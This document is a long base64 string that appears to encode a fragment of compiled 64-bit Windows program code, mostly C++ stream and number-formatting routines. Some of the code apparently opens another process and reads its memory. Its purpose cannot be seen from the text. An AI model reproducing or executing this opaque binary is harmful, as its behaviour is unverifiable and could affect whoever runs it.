gMASYlECPBIjQWllwIASIkB6AGiAAD2wwF0CEiLz+jY0gAASIvHSItcJDBIg8QgX8PMzEiJXCQISIl0JBBXSIPsIEiLeWhIjQUmSgMAi/JIi9lIiQFIhf90EEiLz+iZogAASIvP6JHSAABIjUsI6ISoAABA9sYBdAhIi8voetIAAEiLdCQ4SIvDSItcJDBIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CBIjbFo////i/pIjY6YAAAA6FD4//9IjQXxlgIASI2OmAAAAEiJhpgAAADoQqEAAED2xwF0CEiLzugY0gAASItcJDBIi8ZIi3QkOEiDxCBfw8xIiVwkCFdIg+wgSI156IvaSI1PGEiLQehMY0AESI0F+UkDAEmJRAjoSItB+ExjQARIjQXVSQMASYlECPhIi0HoSGNQBEiNBbFJAwBIiUQK6EiNBWWWAgBIiQHowaAAAPbDAXQISIvP6JjRAABIi8dIi1wkMEiDxCBfw8zMSIlcJAhXSIPsIIvaSIv56PT3///2wwF0CEiLz+hn0QAASIvHSItcJDBIg8QgX8PMSIvESIlYCEiJaBBIiXAYSIl4IEFVSIPsIEiJEUiLAkiL8UxjQARIi9pJi0wQSEiFyXQGSIsB/1AISIsDSGN4BIN8HxAAdVhIi3wfUEiF/3ROSIsHM+1IY0gERI1tBPZEORAGdRJIi0w5SEiLAf9QaIP4/0EPRO1IiwdIY0gESAPPhe10GotREAvVi8JBC8VIg3lIAA9E0EUzwOj1kP3/SIsDSItsJDhIi3wkSEhjSASDfBkQAEiLXCQwD5TAiEYISIvGSIt0JEBIg8QgQV3DzEBVU1ZXQVRBVUFWQVdIjWwk8UiB7MgAAABIiwXAEwQASDPESIlF/0H3QRgAQAAAQIp1d02L6U2L+EyL8kCIdCQwdSlBDxAAD7ZVf0yLEYlUJChMjUWHSYvW8w9/RYdAiHQkIEH/UjjpmAEAAEmLWUBIjU2XM9JIixtIiV2H6IKlAABIi0MISIP4/3MHSP/ASIlDCEiNTZfomKUAAEiNTYfoxxwAAEiNTYdIi9jo158AADPASMdFxw8AAABIjVXXSIvLSIlFv4hFrzhFf3QJTIsDQf9QKOsGSIsD/1AgSI1V10iNTa/oLgz+/0iDfe8QcglIi03X6I7PAABJi10oSIt9v0iF234KSDvfdgVIK9/rAjPbQYtFGCXAAQAAg/hAdCpBDxAHSI1Vh0iNTZ9Mi8tEisbzD39Fh+gDEQAASIt9vzPbDxAA80EPfwdIg33HEEEPEAdMjWWvTA9DZa8PKUWHSIX/dGlIi3WPSIX2dEtIi0ZIRYoEJEiDOAB0CEiLRmCLCOsCM8mFyX4dSItGYP8ISItOSEiLEUiNQgFIiQFEiAJBD7bA6w1IiwZBD7bQSIvO/1AYg/j/dQTGRYcBSf/ESP/PdaQPKEWHQIp0JDDzQQ9/B0mDZSgAQQ8QB0iNVYdMi8tEisZJi87zD39Fh+hMEAAASIN9xxByCUiLTa/ohM4AAEmLxkiLTf9IM8zoBcgAAEiBxMgAAABBX0FeQV1BXF9eW13DzEiJXCQIV0iB7KAAAABIiwWkEQQASDPESImEJJAAAABBDxAARYtBGEiL+kiNFUfPAgBIjUwkQEmL2fMPf0QkMOjoDAAARIuMJNgAAABIjUwkULpAAAAATIvA6PbJAABEiowk0AAAAEiNVCQwSGPISI1EJFBMi8NIiUwkKEiLz0iJRCQg6CANAABIi8dIi4wkkAAAAEgzzOhVxwAASIucJLAAAABIgcSgAAAAX8NIiVwkCFdIgeygAAAASIsF+BAEAEgzxEiJhCSQAAAAQQ8QAEWLQRhIi/pIjRWfzgIASI1MJEBJi9nzD39EJDDoPAwAAESLjCTYAAAASI1MJFC6QAAAAEyLwOhKyQAARIqMJNAAAABIjVQkMEhjyEiNRCRQTIvDSIlMJChIi89IiUQkIOh0DAAASIvHSIuMJJAAAABIM8zoqcYAAEiLnCSwAAAASIHEoAAAAF/DSIlcJAhXSIHsoAAAAEiLBUwQBABIM8RIiYQkkAAAAEEPEABFi0EYSIv6SI0V980CAEiNTCRASYvZ8w9/RCQw6JALAABMi4wk2AAAAEiNTCRQukAAAABMi8DonsgAAESKjCTQAAAASI1UJDBIY8hIjUQkUEyLw0iJTCQoSIvPSIlEJCDoyAsAAEiLx0iLjCSQAAAASDPM6P3FAABIi5wksAAAAEiBxKAAAABfw0iJXCQIV0iB7KAAAABIiwWgDwQASDPESImEJJAAAABBDxAARYtBGEiL+kiNFU/NAgBIjUwkQEmL2fMPf0QkMOjkCgAATIuMJNgAAABIjUwkULpAAAAATIvA6PLHAABEiowk0AAAAEiNVCQwSGPISI1EJFBMi8NIiUwkKEiLz0iJRCQg6BwLAABIi8dIi4wkkAAAAEgzzOhRxQAASIucJLAAAABIgcSgAAAAX8NAU1VWV0FUSIHs8AAAAEiLBfMOBABIM8RIiYQk4AAAAEmLWSBJi/lNi9BMi+JBuwAgAABIhdt/C0WFWRh1BbsGAAAARItHGPIPEIwkSAEAALgkAAAASDvYRIvLRA9PyDPtM/ZJY8FIK9hBi8AlADAAAEE7ww+FiQAAAGYPKMHyD1kF+msDAGYPLsF0d2YPV9LyDxAd2GsDAGYPL8pzCLABZg9Xy+sCMsDyDxAFuGsDALmIEwAA6xFIO+lzEvIPWQ2cawMASIPFCmYPL8hz6WYPL8p2J+sfZg8vDXprAwB3G0g78XMW8g9ZDWNrAwBIg+sKSIPGCkiD+wp924TAdARmD1fLQQ8QAsZEJGAlSI1UJGHzD39EJFBB9sAgdArGRCRhK0iNVCRiQfbAEHQGxgIjSP/CQYHgADAAAGbHAi4quGcAAACNSP5BgfgAEAAA8g8RTCQgD0TBQYH4ADAAAA+2yLhhAAAAD0TIRTvDTI1EJGAPtsG5ZgAAAA9EwYhCAsZCAwCNUQZIjUwkcOgUxgAARIqMJEABAABIjVQkUEhjyEiNRCRwTIvHSIlMJEBIiVwkOEiJdCQwSYvMSIlsJChIiUQkIOgfAwAASYvESIuMJOAAAABIM8zoZMMAAEiBxPAAAABBXF9eXVvDzMxAU1VWV0FUSIHs8AAAAEiLBQcNBABIM8RIiYQk4AAAAEmLWSBJi/lNi9BMi+JBuwAgAABIhdt/C0WFWRh1BbsGAAAARItHGPIPEIwkSAEAALgkAAAASDvYRIvLRA9PyDPtM/ZJY8FIK9hBi8AlADAAAEE7w3V3Zg9X0vIPEB0CagMAZg8vynMIsAFmD1fL6wIywPIPEAXiaQMAuYgTAADrEUg76XMS8g9ZDcZpAwBIg8UKZg8vyHPpZg8vynYn6x9mDy8NpGkDAHcbSDvxcxbyD1kNjWkDAEiD6wpIg8YKSIP7Cn3bhMB0BGYPV8tBDxACxkQkYCVIjVQkYfMPf0QkUEH2wCB0CsZEJGErSI1UJGJB9sAQdAbGAiNI/8JBgeAAMAAAZscCLirGQgJMQYH4ABAAALhnAAAA8g8RTCQgjUj+D0TBQYH4ADAAAA+2yLhhAAAAD0TIRTvDTI1EJGAPtsG5ZgAAAA9EwYhCA8ZCBACNUQZIjUwkcOg6xAAARIqMJEABAABIjVQkUEhjyEiNRCRwTIvHSIlMJEBIiVwkOEiJdCQwSYvMSIlsJChIiUQkIOhFAQAASYvESIuMJOAAAABIM8zoisEAAEiBxPAAAABBXF9eXVvDSIlcJAhXSIHskAAAAEiLBTALBABIM8RIiYQkgAAAAEEPEABJi9lMi4wkyAAAAEiL+kyNBdzIAgBIjUwkQLpAAAAA8w9/RCQw6JPDAABEiowkwAAAAEiNVCQwSGPISI1EJEBMi8NIiUwkKEiLz0iJRCQg6L0GAABIi8dIi4wkgAAAAEgzzOjywAAASIucJKAAAABIgcSQAAAAX8PMQFdIg+wwSMdEJCj+////SIlcJEBIi9lIiwFIY0gE9kQZGAJ0WDP/iXwkIPZEGRAGdRxIi0wZSEiLAf9QaESNRwSD+P9BD0T4iXwkIOsGQbgEAAAASIsDSGNIBEgDy4X/dBuLURAL14vCQQvASIN5SAAPRNBFM8DoEIf9/5BIi1wkQEiDxDBfw0iJXCQgVVZXQVRBVUFWQVdIjWwk+UiB7PAAAABIiwX9CQQASDPESIlF/0iLRXdJi1hASIt9Z0iLG0yLdW9Ii7WHAAAASIlFh0iLRX9IiU2nTIviSI1NnzPSSIlEJGBIiV2PRIhMJDFMiUQkUOjTmwAASItDCEiD+P9zB0j/wEiJQwhIjU2f6OmbAABIjU2P6BgTAABIjU2PSIvYSIlEJEDoI5YAAEyLG0iNVddIi8tB/1MYTIsbSIvLQf9TEDPbgD8rSMdFxw8AAABIiV2/iF2viEQkMHQHgD8ti8N1BbgBAAAASJhIiUWP6JrFAABMi8ZIiwi6ZQAAAIoBSIvPZsdEJDVlAIhEJDToXsUAAA++VCQ0TIvGSIvPTIv46EvFAABIi9hI99hIjUXXTRvtTCNsJGBIg33vEEgPQ0XXgDh/D4QtAQAASIN97xBIjUXXSA9DRdeAOAAPjhYBAABIjU2vTIvGSIvX6DTC/f9Nhf91EUiNTa9BsDBJi9XoTMP9/+ssSIXbdRJIjU2vQbAwSYvW6DbD/f9FM/ZMK/9IjU2vQbEwSYvXTYvF6C6w/f9IjU2vSIXbdQ1BsDBJi9boCsP9/+sqTItFh0gr30GxMEiNUwHoBbD9/0iNTa9BsTBNi8ZIi9Po86/9/0iDZYcARTP2SIN97xBIjV3XSA9DXddIg33HEEiNTa9ID0NNr0iNVCQ06LnEAABIi/iKAzx/dD5Ii3WPhMB+NkgPvshIi8dIK8ZIO8hzJ0gr+UUzyUiNTa9FjUEBSIvX6I+v/f9MjVsBRTgzSQ9P24oDPH91xkiDfccQSIt1v0iNfa9ID0N9r0Uz7UyLfCRQSo0ELkgDRYdJi18oSQPGSIXbfgpIO9h2BUgr2OsCM9tBi0cYJcABAACD+EB0bT0AAQAAdTlIg32PAHYyQQ8QBCRIjVQkUEiNTCRgQbkBAAAATIvH8w9/RCRQ6I0JAABI/8dI/84PEADzQQ9/BCRBDxAEJESKRCQxSI1UJFBIjUwkYEyLy/MPf0QkUOh4BQAAM9sPEADzQQ9/BCQPvlQkNEyLxkiLz+hJwwAASIXAD4TKAAAAQQ8QBCRIK8dIjVQkYEj/wEiNTY9Mi8dMjUj/SIlEJFCKRCQw8w9/RCRgiEQkIOilCQAASI1UJGBIjU2PTYvOQbAwDxAA80EPfwQkDxAI8w9/TCRg6PsEAABIi0wkQA8QAPNBD38EJA8QCEiLAfMPf0wkYP9QCEiNVCRgSI1MJEBBuQEAAABEisDoxgQAAEyLTYdIjVQkQEiNTCRgQbAwDxAA80EPfwQkDxAI8w9/TCRA6J4EAAAPEABIi0QkUEgD+Egr8PNBD38EJEyLxrplAAAASIvP6GbCAABMi/BIhcAPhKQAAABBDxAEJIpEJDBMK/dJ/8ZIjVQkQEiNTCRQTY1O/0yLx/MPf0QkQIhEJCDowwgAAEiNVCRASI1MJFBNi81BsDAPEADzQQ9/BCQPEAjzD39MJEDoGAQAAEUz7UyNBbbDAgBIjVQkQEiNTCRQDxAARY1NAfNBD38EJA8QCEH2RxgESI0FjMMCAPMPf0wkQEwPRcDovQcAAEkD/kkr9g8QAPNBD38EJEEPEAQkikQkMEiNVCRASI1MJFBMi85Mi8fzD39EJECIRCQg6CYIAABIjVQkQEiNTCRQTYvNDxAAQbAw80EPfwQkDxAI8w9/TCRA6HsDAABEikQkMUyLy0iLXacz/w8QAEiNVCRASIvL80EPfwQkSYl/KEEPEAwk8w9/TCRA6EgDAABIg33HEHIJSItNr+iAwQAASIN97xBIx0XHDwAAAEiJfb9AiH2vcglIi03X6GDBAABIi8NIi03/SDPM6OG6AABIi5wkSAEAAEiBxPAAAABBX0FeQV1BXF9eXcPMzEyLycYBJUiNQQFB9sAgdAbGACtI/8BB9sAIdAbGACNI/8CKCoD5THQHiAhI/8DrDWbHAEk2xkACNEiDwANBi8iB4QAOAACB+QAEAAB1BUGwb+sdgfkACAAAdAZEikIB6w9BwOADQfbQQYDgIEGAyFhEiADGQAEASYvBw8xIiVwkIFVWV0FUQVVBVkFXSI1sJOlIgeywAAAASIsF7QMEAEgzxEiJRQdJi1hATIttd0iLdX9IixtIiU3XSIv6SIlVv0iNTbcz0kiJXc9EiE2XTYvw6NqVAABIi0MISIP4/3MHSP/ASIlDCEiNTbfo8JUAAEiNTc/oHw0AAEiNTc9Mi+BIiUWn6CuQAABNixwkSI1V30mLzEH/UxhBgH0AK3QlQYB9AC10HkGAfQAwdRNBikUBPHh0BDxYdQe4AgAAAOsJM8DrBbgBAAAASItV90iLTd9MY/hIg/oQSI1F30gPQ8GAOH90dUiD+hBIjUXfSA9DwYA4AH5kSI1930iD+hBMi+ZID0P5igc8f3RHhMB+Q0gPvshJi8RJK8dIO8hzNEwr4UiL1kkr1EuNXCUAS41MJQFI/8JMi8NMi8roJbkAAEiNRwHGAwBI/8aAOABID0/467NMi2WnSIt9v0mLXihIhdt+Ckg73nYFSCve6wIz20GLRhglwAEAAIP4QHRbDxAHSI1Vp0iNTb/zD39Fpz0AAQAAdBpEin2XTIvLRYrH6MkAAAAz2w8QAPMPfwfrLk2Lz02LxeiXBAAATQPvSSv3SI1Vp0iNTb8PEADzD38HDxAA8w9/RafrvESKfZcPEAdJiwQkSYvM8w9/Raf/UBBIjVWnSI1Nv0yLzk2LxYhEJCDo6wQAAEyLy0iLXddIjVWnRYrHDxAASIvL8w9/B0mDZigADxAP8w9/TafoPQAAAEiDffcQcglIi03f6HW+AABIi8NIi00HSDPM6Pa3AABIi5wkCAEAAEiBxLAAAABBX0FeQV1BXF9eXcPMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEmL8UGK6EiL2kiL+U2FyXRVSItLCEiFyXRESItBSEiDOAB0CEiLQWCLEOsCM9KF0n4dSItBYP8ISItJSEiLEUiNQgFIiQFAiCpAD7bF6wpIiwFAD7bV/1AYg/j/dQPGAwFI/851qw8QA0iLXCQwSItsJDhIi3QkQEiLx/MPfwdIg8QgX8PMzMyKQRjDikEZw0iJXCQIV0iD7CBIi9pIi1EQSIPJ/0iDYxAASMdDGA8AAABIi/ozwMYDAPKuSPfRTI1B/0iLy+iFp/3/SIvDSItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgSIvaSItRIEiDyf9Ig2MQAEjHQxgPAAAASIv6M8DGAwDyrkj30UyNQf9Ii8voOaf9/0iLw0iLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIEiL2kiLUShIg8n/SINjEABIx0MYDwAAAEiL+jPAxgMA8q5I99FMjUH/SIvL6O2m/f9Ii8NIi1wkMEiDxCBfw8zMzEiJXCQIV0iD7CBIjQUXNgMASIv5i9pIiQFIi0kQ6Ja8AABIi08g6I28AABIi08o6IS8AABMjR1lfwIATIkf9sMBdAhIi8/odbwAAEiLx0iLXCQwSIPEIF/DzMzMQFVTVldBVEFVQVZIjWwk2UiB7JAAAABFM/ZIi9pMi+FEiXVn6Id9/f9NIXQkUEmJXCRISYtcJEBIjU1nSIsbM9JIiV236JaRAABIi0MISIP4/3MHSP/ASIlDCEiNTWforJEAAEiNTX8z0uhxkQAASIs1xh4EAEyLLa83BABIhfZ1O0iNTW8z0uhTkQAATDk1qB4EAHUXiwWQHgQA/8CJBYgeBABImEiJBY8eBABIjU1v6FqRAABIizV/HgQASDtzGHMKSItDEEiLPPDrAjP/SIX/D4XXAAAARDhzJHQX6B2MAABIO3AYcwpIi0AQSIs88OsCM/9Ihf8PhbEAAABNhe10CEmL/emkAAAAuSgAAADoR7wAAEiL+EiFwHRNSItTKEG+AQAAAEiF0nUESI1TMEiNTdfo33T9/0iDZwgASI0F5zMDAEiNTb9IiQfo+5YAAEiLCEiJTxBIi0gISIlPGEiLQBBIiUcg6wIz/0H2xgF0CUiNTdfoKXX9/0iNTXcz0kiJPaQ2BADoU5AAAEiLRwhIg/j/cwdI/8BIiUcISI1Nd+hpkAAASIvP6IGKAABIjU1/6FiQAABIjU236KOKAABMix+yIEiLz0H/UzBJg3wkSABBiEQkWHUTQYtUJBBFM8BJi8yDygTos3r9/0iBxJAAAABBXkFdQVxfXltdw8xIiVwkCEiJbCQQSIl0JBhXSIPsIEmL2UmL6EiL+kiL8U2FyXRcSItPCEiFyXRISItBSESKRQBIgzgAdAhIi0FgixDrAjPShdJ+HUiLQWD/CEiLSUhIixFIjUIBSIkBRIgCQQ+2wOsKSIsBQQ+20P9QGIP4/3UDxgcBSP/FSP/LdaQPEAdIi1wkMEiLbCQ4SIvG8w9/BkiLdCRASIPEIF/DSIvESIlYCEiJaBBIiXgYTIlgIEFVSIPsYE2L4EiL+kiL6U2LwTPSSYvMTYvp6Da5AABJi91Mi9BNK9RIhcBJD0Xa61qAvCSQAAAAAHQtDxAHRIqEJJAAAABIjVQkMEiNTCRQQbkBAAAA8w9/RCQw6Aj7//8PEADzD38HSf/ESf/NM9JNi8VJi8zo2rgAAEmL3UiLyEkrzEiFwEgPRdkPEAdIjVQkIEiNTCRATIvLTYvE8w9/RCQg6KT+//9MA+NMK+sPEADzD38HD4V1////TI1cJGDzD39FAEiLxUmLWxBJi2sYSYt7IE2LYyhJi+NBXcPMzEiLxEiJSAhBVEFVQVZIg+xQSMdEJDD+////SIlwEEiJeBhMi+pIi/Ez/4l4uEyLchBIiwFIY1AETItkCihNheR+Ck075nYFTSvm6wNFM+RIi9FIjUwkOOgc5///QDh8JEB1Cr8EAAAA6ToBAABIiwZIY0gEi0QxGCXAAQAAg/hAdHFNheR0aEiLBkhjSAREikQxWEiLTDFISItBSEiDOAB0CEiLQWCLEOsCM9KF0n4dSItBYP8ISItJSEiLEUiNQgFIiQFEiAJBD7bA6wpBD7bQSIsB/1AYg/j/dQmDzwSJfCQg6wpJ/8xMiWQkKOuThf91L0mDfRgQcgRNi20ASIsGSGNIBEiLTDFISIsBTYvGSYvV/1BISTvGdAe/BAAAAOtdTYXkdGhIiwZIY0gERIpEMVhIi0wxSEiLQUhIgzgAdAhIi0FgixDrAjPShdJ+HUiLQWD/CEiLSUhIixFIjUIBSIkBRIgCQQ+2wOsKQQ+20EiLAf9QGIP4/3UJg88EiXwkIOsKSf/MTIlkJCjrk0iLBkhjSARIg2QxKADrCUiLdCRwi3wkIEiLBkhjSARIA86F/3Qai1EQC9eLwoPIBEiDeUgAD0TQRTPA6D13/f/oKI0AAEiLfCQ4hMB1CEiLz+ib7///SIsHSGNIBEiLTDlISIXJdAZIiwH/UBBIi8ZMjVwkUEmLcyhJi3swSYvjQV5BXUFcw8zMSIvESIlICEFUSIPsUEjHRCQw/v///0iJcBBIiXgYSIvxM/+JeMhIiwFIY1AETItkCihNheR+DEmD/At+BkmDxPXrA0Uz5EiL0UiNTCQ46A3l//9AOHwkQHUKvwQAAADpOwEAAEiLBkhjSASLRDEYJcABAACD+EB0dU2F5H5oSIsGSGNIBESKRDFYSItMMUhIi0FISIM4AHQISItBYIsQ6wIz0oXSfh1Ii0Fg/whIi0lISIsRSI1CAUiJAUSIAkEPtsDrCkEPttBIiwH/UBiD+P91CYPPBIl8JCDrCkn/zEyJZCQo65OF/w+FmQAAAEiLBkhjSARIi0wxSEiLAUG4CwAAAEiNFc4pAwD/UEhIg/gLdAe/BAAAAOtdTYXkfmhIiwZIY0gERIpEMVhIi0wxSEiLQUhIgzgAdAhIi0FgixDrAjPShdJ+HUiLQWD/CEiLSUhIixFIjUIBSIkBRIgCQQ+2wOsKQQ+20EiLAf9QGIP4/3UJg88EiXwkIOsKSf/MTIlkJCjrk0iLBkhjSARIg2QxKADrCUiLdCRgi3wkIEiLBkhjSARIA86F/3Qai1EQC9eLwoPIBEiDeUgAD0TQRTPA6C11/f/oGIsAAEiLfCQ4hMB1CEiLz+iL7f//SIsHSGNIBEiLTDlISIXJdAZIiwH/UBBIi8ZIi3QkaEiLfCRwSIPEUEFcw0iLxEiJWBhIiWggVldBVEiD7HBMi+FIjUgQM+0z0omsJJAAAADoAooAAEiLPX8wBABIizVIMAQASIX/dUNIjYwkkAAAADPS6OCJAABIOS1dMAQAdReLBR0XBAD/wIkFFRcEAEiYSIkFRDAEAEiNjCSQAAAA6OOJAABIiz0wMAQASYsMJEg7eRhzCkiLQRBIixz46wIz20iF2w+FzQAAAEA4aSR0F+iihAAASDt4GHMKSItAEEiLHPjrAjPbSIXbD4WnAAAASIX2dAhIi97pmgAAALkYAAAA6My0AABIi9hIhcB0OkmLBCS9AQAAAEiLUChIhdJ1BEiNUDBIjUwkIOhgbf3/SINjCABIjQW4LAMASIkD6ESAAABIiUMQ6wIz20D2xQF0CkiNTCQg6MBt/f9IjYwkkAAAADPSSIkdPy8EAOjmiAAASItLCEiD+f9zB0j/wUiJSwhIjYwkkAAAAOj4iAAASIvL6BCDAABIjYwkmAAAAOjjiAAATI1cJHBIi8NJi1swSYtrOEmL40FcX17DzMzMSIvESIlYGEiJaCBWV0FUSIPscEyL4UiNSBAz7TPSiawkkAAAAOhuiAAASIs94y4EAEiLNbwuBABIhf91Q0iNjCSQAAAAM9LoTIgAAEg5LcEuBAB1F4sFiRUEAP/AiQWBFQQASJhIiQWoLgQASI2MJJAAAADoT4gAAEiLPZQuBABJiwwkSDt5GHMKSItBEEiLHPjrAjPbSIXbD4XMAAAAQDhpJHQX6A6DAABIO3gYcwpIi0AQSIsc+OsCM9tIhdsPhaYAAABIhfZ0CEiL3umZAAAAuTAAAADoOLMAAEiL2EiFwHQ5SYsEJL0BAAAASItQKEiF0nUESI1QMEiNTCQg6Mxr/f9Ig2MIAEiNBXQrAwBIi8tIiQPodQAAAOsCM9tA9sUBdApIjUwkIOgtbP3/SI2MJJAAAAAz0kiJHbQtBADoU4cAAEiLSwhIg/n/cwdI/8FIiUsISI2MJJAAAADoZYcAAEiLy+h9gQAASI2MJJgAAADoUIcAAEyNXCRwSIvDSYtbMEmLazhJi+NBXF9ew0iLxEiJSAhXQVRBVUiD7HBIx0QkaP7///9IiVgQSIlwGEiL2UG9AQAAAOgdsQAATIvgSINjEABIg2MgAEiDYygA6PJ9AABIjTXbsgIASIl0JFBBi/1MiWwkYEGLzehehwAASIvQSIlEJDBIhf90HooOiApJK/1IiXwkYEkD1UiJVCQwSQP1SIl0JFDr3UiJQxDoon0AAEiNNf+uAgBIiXQkKL8GAAAASIl8JECLz+gNhwAASIvQSIlEJCBIhf90HooOiApJK/1IiXwkQEkD1UiJVCQgSQP1SIl0JCjr3UiJQyDoUX0AAEiNNbauAgBIiXQkWL8FAAAASIl8JDiLz+i8hgAASIvQSIlEJEhIhf90HooOiApJK/1IiXwkOEkD1UiJVCRISQP1SIl0JFjr3UiJQyjoAH0AAEmLBCSKCIhLGOjyfAAASYtEJAiKCIhLGUWE7XQS6N58AADGQxgu6NV8AADGQxksTI1cJHBJi1soSYtzMEmL40FdQVxfw8zMzEiJXCQIV0iD7FBIiwVT8wMASDPESIlEJEhIiw3kDAQASI0VrSkDAOg4uf3//xV6agIAM/+FwHQVSIsNxQwEAEiNFa4pAwDoGbn9/+tVSI1MJCBFM8CyAei4TP7/SIsNoQwEAEiNFZIpAwBIi9jo8rj9/0iL00iLyOi/Cv7/SIN8JDgIcgpIi0wkIOh9rwAASMdEJDgHAAAASIl8JDBmiXwkIEiLHVsMBABIi8voQwn+/0iLy+infv3/sAFIi0wkSEgzzOjUqAAASItcJGBIg8RQX8PMSIlcJBBIiXQkGFVXQVRIjWwkuUiB7OAAAABIiwVv8gMASDPESIlFNzP/SIvZSI0VBCkDAEiJOUiJeQhIiXkQjXcHRI1HMUiNTa9IiX2/Zol9r0iJdcfoSYz9/0SNRwNIjRU6KQMASI1Nh0iJdZ9IiX2XZol9h+gpjP3/TI1Nr0yNRYdIjRWqaQAASI1N1+hh3/7/SIvLSIvQ6DoO//9EjWcITDllH3IJSItNB+iHrgAASIl1H0iJfRdmiX0HTDll93IJSItN3+hsrgAASI0V1SgDAEiNTYdBuDIAAABIiXWfSIl9l2aJfYfotov9/0iNFRspAwBIjU2vTIvGSIl1x0iJfb9miX2v6JeL/f9MjU2HTI1Fr0iNFZx2AABIjU3X6M/e/v9Ii8tIi9DoqA3//0w5ZR9yCUiLTQfo+a0AAEiJdR9IiX0XZol9B0w5ZfdyCUiLTd/o3q0AAEiNFccoAwBIjU2HQbgzAAAASIl1n0iJfZdmiX2H6CiL/f9IjRUNKQMASI1Nr02LxEiJdcdIiX2/Zol9r+gJi/3/TI1Nh0yNRa9IjRUqYgAASI1N1+hB3v7/SIvLSIvQ6BoN//9MOWUfcglIi00H6GutAABIiXUfSIl9F2aJfQdMOWX3cglIi03f6FCtAABIjRW5KAMASI1Nh0G4MAAAAEiJdZ9IiX2XZol9h+iaiv3/SI0V/ygDAEiNTa9BuAUAAABIiXXHSIl9v2aJfa/oeIr9/0yNTYdMjUWvSI0VpXIAAEiNTdfosN3+/0iLy0iL0OiJDP//TDllH3IJSItNB+jarAAASIl1H0iJfRdmiX0HTDll93IJSItN3+i/rAAASI0VqCgDAEiNTYdBuDIAAABIiXWfSIl9l2aJfYfoCYr9/0iNFe4oAwBIjU2vTIvGSIl1x0iJfb9miX2v6OqJ/f9MjU2HTI1Fr0iNFX9kAABIjU3X6CLd/v9Ii8tIi9Do+wv//0w5ZR9yCUiLTQfoTKwAAEiJdR9IiX0XZol9B0w5ZfdyCUiLTd/oMawAAEiNFZooAwBIjU2HQbg3AAAASIl1n0iJfZdmiX2H6HuJ/f9IjRXoKAMASI1Nr0G4AwAAAEiJdcdIiX2/Zol9r+hZif3/TI1Nh0yNRa9IjRWabgAASI1N1+iR3P7/SIvLSIvQ6GoL//9MOWUfcglIi00H6LurAABIiXUfSIl9F2aJfQdMOWX3cglIi03f6KCrAABIjRWJKAMASI1Nh0G4OAAAAEiJdZ9IiX2XZol9h+jqiP3/SI0V3ygDAEiNTa9BuA4AAABIiXXHSIl9v2aJfa/oyIj9/0yNTYdMjUWvSI0V+QAAAEiNTdfoANz+/0iLy0iL0OjZCv//TDllH3IJSItNB+gqqwAASIl1H0iJfRdmiX0HTDll93IJSItN3+gPqwAASI0VmCgDAEiNTYdBuEkAAABIiXWfSIl9l2aJfYfoWYj9/0iNFQ4pAwBIjU2vQbgPAAAASIl1x0iJfb9miX2v6DeI/f9MjU2HTI1Fr0iNFUgPAABIjU3X6G/b/v9Ii8tIi9DoSAr//0w5ZR9yCUiLTQfomaoAAEiJdR9IiX0XZol9B0w5ZfdyCUiLTd/ofqoAAEiLw0iLTTdIM8zo/6MAAEyNnCTgAAAASYtbKEmLczBJi+NBXF9dw8zMzEBTSIPsIEiL2ehGAAAAhMB0EUiNFbslBABIi8vonwoAAOsmSIsNIgcEAEiNFWsoAwDodrP9/0iLyEiL2Oj7A/7/SIvL6F95/f+wAUiDxCBbw8zMzEiLxEiJWAhIiXAQSIl4GEyJYCBVQVZBV0iNbCSASIHsgAEAAEiLBS3tAwBIM8RIiUV4igU4JAQARTP2hMAPhU0EAABMOTUOJAQAD4VhAwAARY1+B0WNRglIjRXRKAMASI1N+EyJdbBmRIl1oEyJfbhMiX0QTIl1CGZEiXX46OqG/f9IjVX4SI1MJHDoXBT+/4TAD4SNAgAARItEJHgz0rkQBAAA/xXuZQIASIkFpyMEAEiFwA+EVAIAAEiNTCRATIl0JEBMiXQkSEyJdCRQ6IEj/v9Mi2QkQITAD4R3AQAATDtkJEgPhN8BAABJjXQkEEiLHakkBABIOx2qJAQAD4Q+AQAASIN+GAhyBUiLDusDSIvOSIsT6Lm2AACFwHUJSItDGEw5MHQGSIPDIOvJSItTCEiDyf8zwEiL+kyJfehMiXXgZkSJddBm8q9I99FMjUH/SI1N0OgRhv3/SI1V0EiNTSBJg8n/RTPATIl9OEyJdTBmRIl1IOjYhP3/SItTEEiNTVBMiX1oSIlVSEiNVSBMiXVgZkSJdVDoOpb9/0iDfTgIcglIi00g6FKoAABIjVVISI0NxyMEAEyJfThMiXUwZkSJdSDoBREAAEiDfWgIcglIi01Q6CWoAABIg33oCEyJfWhMiXVgZkSJdVByCUiLTdDoCKgAALk4AAAA6PaoAABIi/hIhcB0LkiLTvBJg8n/RTPASIkIi074SIvWiUgISI1IEEyJeRhMiXEQZkSJMegehP3/6wNJi/5Ii0MYSIk4SIPGOEiNRvBIO0QkSA+Fm/7//+tzSI1N0EUzwLIB6KNE/v9Iiw2MBAQASI0V3SYDAEiL+OjdsP3/SIvXSIvI6KoC/v9Ii8hIi/joVwH+/0iLz+i7dv3/SIN96AhyCUiLTdDoV6cAAEiLDaghBABMiX3oTIl14GZEiXXQ/xWVYwIATIk1jiEEAE2F5A+EpAAAAEw7ZCRIdC9JjXwkKEiDPwhyCUiLT+joEqcAAEyJP0yJd/hmRIl36EiDxzhIjUfYSDtEJEh11kmLzOtkSI1N0EUzwLIB6OxD/v9IjRXtvgIA6xVIjU3QRTPAsgHo1UP+/0iNFYYmAwBIiw23AwQASIv46A+w/f9Ii9dIi8jo3AH+/0iLyEiL+OiJAP7/SIvP6O11/f9Ig33oCHIJSItN0OiJpgAASIN9EAhyCUiLTfjoeaYAAEiDfbgITIl9EEyJdQhmRIl1+HIJSItNoOhcpgAATDk1rSAEAA+E2QAAAP8V+WICAEiLFZIgBABMjUQkQEiLyEG5GAAAAP8VTmUCAIXAD4SwAAAATDk1hyAEAEiLRCRASIkFYwQEAItEJEiJBWEEBAB1dEiLDVAgBABIjRUBJgMA/xVrYgIASIsNPCAEAEiNFQ0mAwBIi/hIiUQkYP8VT2ICAEiJRCRoSIX/dDpIhcB0NcZEJDgBxkQkMAFMjUQkYEiNFSokAwBIjQ0TIAQAQbkQAAAATIl0JCjHRCQgeP///+jH6f3/gz1AHgQABnMN6OHN/v+IBe8fBADrDehc0P7/6/GKBeAfBABIi014SDPM6PSeAABMjZwkgAEAAEmLWyBJi3MoSYt7ME2LYzhJi+NBX0FeXcPMzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUiD7CCL6kiL8U2L4EiNTQgz/+hJewAATIsNZh8EAESNRwhIjVQkWEiLzkiL2EiJfCRY6N3m/f+EwHRH